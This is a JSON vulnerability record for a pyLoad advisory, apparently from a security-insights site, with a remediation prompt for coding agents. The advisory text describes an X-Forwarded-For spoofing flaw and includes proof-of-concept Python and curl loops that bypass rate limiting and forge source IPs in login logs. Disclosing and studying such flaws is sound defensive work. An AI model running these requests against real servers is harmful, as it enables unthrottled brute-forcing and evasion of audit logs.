{"answers":{"affected":"2 open source packages ship an affected version, including pyload-ng.","exploited":"There is no known exploitation of GHSA-9q47-3cm2-2rp8 in the wild and no public exploit code.","fix":"No fix has been published for GHSA-9q47-3cm2-2rp8 yet. Limit exposure of the affected software until one is available.","what":"GHSA-9q47-3cm2-2rp8 is a vulnerability in pyload-ng, published on 9 Oct 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-9q47-3cm2-2rp8 and fix it if it is affected.\n\nWhat it is: GHSA-9q47-3cm2-2rp8 is a vulnerability in pyload-ng, published on 9 Oct 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-9q47-3cm2-2rp8 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- pyload-ng (PyPI): affected all versions; no fix listed\n- pyload-ng (PyPI): affected all versions; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-9q47-3cm2-2rp8/ (Markdown: https://insights.sbomify.com/GHSA-9q47-3cm2-2rp8/index.md)","id":"GHSA-9q47-3cm2-2rp8","markdown":"https://insights.sbomify.com/GHSA-9q47-3cm2-2rp8/index.md","name":"GHSA-9q47-3cm2-2rp8","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"no_fix_stated","impacts":["security_bypass","data_modify"],"network_reachable":"yes","non_default_config":false,"product_category":"pyLoad web interface","requires_auth":"none","summary":"Attackers can bypass rate limits and spoof IP addresses in security logs by manipulating the X-Forwarded-For header in pyLoad's web interface.","user_interaction":"not_required","vuln_class":"security_feature_bypass"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\npyLoad determines the \"client IP\" used for its rate-limiting decorator and for its\nsecurity/audit logging by reading the client-supplied `X-Forwarded-For` (XFF) HTTP header and\ntaking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces\nclients directly, and there is no `ProxyFix` middleware). Because any client can freely set this\nheader, an attacker can (1) completely bypass rate limiting by rotating the header on each request,\nand (2) forge the source IP recorded in security logs for login and API-key authentication\nfailures, defeating IP-based blocking (e.g. fail2ban) and poisoning attribution.\n\n## Severity\n\nMedium — CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` (~5.3)\n\n- CWE-807: Reliance on Untrusted Inputs in a Security Decision\n- CWE-290: Authentication Bypass by Spoofing\n- CWE-348: Use of Less Trusted Source\n\n## Affected Version\n\npyLoad 0.5.0b3 (built from the `develop` branch). Confirmed still present and exploitable in the\nlater `pyload-develop-2` snapshot (the affected files are byte-identical between the two; the\n`develop-2` changes only touched the unrelated API-key cache).\n\n## Affected Component\n\nWeb UI request handling — client-IP derivation used by rate limiting and security logging.\n\n- `src/pyload/webui/app/helpers.py:446` — inside the `rate_limit()` decorator; derives the per-IP\n  bucket key.\n- `src/pyload/webui/app/helpers.py:357` — API-key authentication success/failure logging.\n- `src/pyload/webui/app/blueprints/app_blueprint.py:81` — web login success/failure logging.\n- `src/pyload/webui/webserver_thread.py` — Cheroot serves the Flask app directly; no reverse-proxy\n  trust boundary or `ProxyFix`.\n- Consumer: `src/pyload/webui/app/blueprints/api_blueprint.py:25` applies\n  `@rate_limit(count=100, period=60)` to the `/api/\u003cfunc\u003e` RPC endpoint.\n\n## Description:\n\nAll three locations derive the client IP with the identical expression:\n\n```python\nclient_ip = flask.request.headers.get(\"X-Forwarded-For\", \"\").split(\",\")[0].strip() or flask.request.remote_addr\n```\n\n`X-Forwarded-For` is an HTTP request header fully controlled by the client. The code takes\n`split(\",\")[0]` — the leftmost token — which is always the value supplied by the *original client*\n(a proxy appends its own value to the right). Only when the header is entirely absent does the code\nfall back to `request.remote_addr` (the real TCP peer). There is no configured trusted-proxy count,\nand pyLoad's server (Cheroot) terminates client connections directly, so `remote_addr` is the true\npeer and the XFF value is untrusted attacker input.\n\nTwo security decisions are made on this untrusted value:\n\n1. Rate limiting (`rate_limit()`): the decorator keeps `request_history[client_ip]` and enforces\n   `count` requests per `period` per `client_ip`. Since `client_ip` is attacker-controlled, sending\n   a distinct value each request creates a distinct bucket, so the counter never accumulates and\n   the limit never triggers.\n2. Audit logging: login-failure and API-auth-failure log lines embed `[CLIENT: {client_ip}]` using\n   the same spoofable value, so the recorded source address is chosen by the attacker.\n\nNotably, the codebase is internally inconsistent: `is_loopback_request()` (helpers.py:288) treats\nthe *presence* of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as a reason to *distrust* an\napparent loopback source, while the rate-limit and logging paths naively trust the same header —\nindicating the trust here is unintended.\n\n## Proof of Concept\n\nThe `rate_limit()` decorator's actual source (bytes read from\n`pyload-develop-2/src/pyload/webui/app/helpers.py`, lines 416–514) was executed under a real Flask\ntest client. Rate limit set to 5/60s for brevity (identical logic to the production 100/min):\n\n```python\nimport ast, math, time\nfrom functools import wraps\nimport flask\n\nHELPERS = \".../pyload-develop-2/src/pyload/webui/app/helpers.py\"\nsrc = open(HELPERS).read()\nnode = next(n for n in ast.parse(src).body\n            if isinstance(n, ast.FunctionDef) and n.name == \"rate_limit\")\nns = {\"flask\": flask, \"time\": time, \"math\": math, \"wraps\": wraps}\nexec(compile(ast.get_source_segment(src, node), HELPERS, \"exec\"), ns)\nrate_limit = ns[\"rate_limit\"]\n\ndef build_app():\n    app = flask.Flask(__name__)\n    @app.route(\"/api/ping\")\n    @rate_limit(count=5, period=60)\n    def ping():\n        return flask.json.jsonify({\"ok\": True})\n    return app\n\ndef run(hdr):\n    app = build_app()\n    with app.test_client() as c:\n        return [c.get(\"/api/ping\", headers=hdr(i)).status_code for i in range(8)]\n\nprint(\"FIXED   XFF:\", run(lambda i: {\"X-Forwarded-For\": \"203.0.113.9\"}))\nprint(\"ROTATE  XFF:\", run(lambda i: {\"X-Forwarded-For\": f\"10.0.0.{i}\"}))\n```\n\nOutput:\n\n```\nFIXED   XFF: [200, 200, 200, 200, 200, 429, 429, 429]     # limit enforced\nROTATE  XFF: [200, 200, 200, 200, 200, 200, 200, 200]     # 0x 429 -\u003e limit bypassed\n# server log during FIXED run:\n#   WARNING in helpers: Rate limit exceeded for IP 203.0.113.9: 5 requests in 60 (limit: 5/60)\n```\n\nDerivation check (XFF present, real peer is loopback):\n\n```python\n# request with header X-Forwarded-For: 8.8.8.8 and REMOTE_ADDR 127.0.0.1\nclient_ip = request.headers.get(\"X-Forwarded-For\",\"\").split(\",\")[0].strip() or request.remote_addr\n# -\u003e client_ip == \"8.8.8.8\"   (the spoofed value wins over the real remote_addr)\n```\n\nEquivalent against a live instance:\n\n```bash\n# Rate limit never trips regardless of volume:\nfor i in $(seq 1 500); do\n  curl -s -o /dev/null -H \"X-API-Key: pl_1\u003cvalid-key\u003e\" \\\n       -H \"X-Forwarded-For: 10.0.0.$((RANDOM%255))\" \\\n       http://127.0.0.1:8000/api/get_server_version\ndone   # no HTTP 429 is ever returned\n\n# Forged source IP in the audit log:\ncurl -s -o /dev/null -H \"X-Forwarded-For: 8.8.8.8\" \\\n     --data 'username=admin\u0026password=wrong' http://127.0.0.1:8000/login\n# server log: Login failed for user 'admin' using Web Client [CLIENT: 8.8.8.8]\n```\n\n## Steps To Reproduce\n\n1. Start a pyLoad instance directly exposed (no reverse proxy), as in a default deployment.\n2. Obtain any valid API key (or use the login endpoint) so requests reach the rate-limited /\n   logged code paths.\n3. Send more than the configured limit of requests to a `@rate_limit`-protected endpoint (e.g.\n   `/api/get_server_version`) while setting a **different** `X-Forwarded-For` value on each request.\n   Observe that no `429 Too Many Requests` is ever returned.\n4. Control: repeat step 3 with a **fixed** `X-Forwarded-For` value; observe `429` after the limit,\n   proving the bucket is keyed on the header value.\n5. Send a failed login (or failed API-key request) with `X-Forwarded-For: 8.8.8.8` and inspect the\n   server log; the failure is attributed to `8.8.8.8` rather than the real client address.\n\n## Impact\n\n- Rate limiting on the authenticated API (`/api/\u003cfunc\u003e`, 100/min) and any other\n  `@rate_limit`-protected endpoint provides no protection against a single attacker, who can issue\n  unlimited requests — enabling resource abuse and unthrottled brute-forcing of anything reachable\n  through those endpoints.\n- Security/audit logs cannot be trusted for source attribution. An attacker can stamp every\n  malicious request with an arbitrary or innocent third-party IP, evading IP-based blocklists /\n  fail2ban and misdirecting incident response.\n- Amplifies other authentication weaknesses (e.g. the absence of throttling on `/login`), since\n  even the throttling that does exist elsewhere is defeated and the attacker's IP is unlogged.\n\n## Root Causes\n\n1. A client-controlled HTTP header (`X-Forwarded-For`) is used directly in security decisions\n   (rate-limit bucketing and audit attribution) without any trusted-proxy validation (CWE-807).\n2. The leftmost XFF token is selected, which is always the value supplied by the original client;\n   this is spoofable both in direct-exposure and behind-a-proxy deployments (CWE-348).\n3. No `ProxyFix` / trusted-proxy-hop configuration exists, and the server terminates client\n   connections di","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header","id":"GHSA-9q47-3cm2-2rp8","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"security_feature_bypass","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":[],"last_affected":[],"package":"pyload-ng","purl":null,"source":"GHSA-9q47-3cm2-2rp8"},{"ecosystem":"PyPI","fixed":[],"introduced":[],"last_affected":[],"package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"GHSA-9q47-3cm2-2rp8"}],"products":null,"published":"2026-10-09","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can bypass rate limits and spoof IP addresses in security logs by manipulating the X-Forwarded-For header in pyLoad's web interface.","url":"https://insights.sbomify.com/GHSA-9q47-3cm2-2rp8/"}